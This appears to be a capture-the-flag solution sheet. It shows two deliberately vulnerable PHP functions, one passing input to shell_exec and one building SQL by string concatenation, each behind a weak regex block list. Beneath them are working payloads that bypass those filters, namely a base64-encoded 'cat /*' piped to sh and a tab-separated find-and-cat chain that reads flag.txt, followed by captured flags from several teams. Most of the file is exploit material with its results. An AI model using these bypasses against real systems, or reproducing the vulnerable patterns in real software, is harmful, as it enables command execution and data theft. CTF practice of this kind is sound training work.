---
# System prepended metadata

title: Untitled

---


```command_ịnection
function write_log($sql)
{
    // <START>
    $bad_char="/[\x{21}-\x{24}\x{26}\x{28}\x{29}\x{2f}\x{3b}-\x{40}]/";
    if (preg_match($bad_char,$sql)){
        die("NO HACK");
    }
    // </START>

    $command = "echo '" . $sql . "' >> /var/log/search.log";
    DEBUG_LOG("Command: $command");
    shell_exec($command);
}

```
payload command_injection
`echo Y2F0IC8q|base64 -d|sh`
`pwd|cut%09-b%091|xargs%09-I%09{}%09find%09{}%09-name%09flag.txt|xargs%09cat`
```
```sql_injection
function find_news($keyword)
{
    $sql_injection_pattern = "/(UNION|SELECT|DELETE|INSERT|UPDATE|DROP|ALTER|CREATE|TRUNCATE|EXEC|FROM|WHERE|LIKE)/";

    if (preg_match($sql_injection_pattern, $keyword)) {
        die("NO HACK");
    } 

    $sql = "SELECT id,title,content FROM news WHERE content LIKE '%" . $keyword . "%'";
    DEBUG_LOG("SQL: $sql");
    return $sql;
}
```

```
final_flag CBJS{}
```





Làng lá
CBJS{haejeGohhiv9hoo_Cmd_Injection_s0_D4ng3r0us}
CBJS{Ooneishei7Ojosh_ez_sqli_hehe!!!}

Làng sướng mù
CBJS{aThoo9soochuoZa_Cmd_Injection_s0_D4ng3r0us}
CBJS{uoBae2Xoa0ephah_ez_sqli_hehe!!!}

làng mây
CBJS{oozoog4Eethu0ek_Cmd_Injection_s0_D4ng3r0us}


làng cát
CBJS{chohv9Ieruadoof_Cmd_Injection_s0_D4ng3r0us}
CBJS{Oy1shai5cieb3ee_ez_sqli_hehe!!!}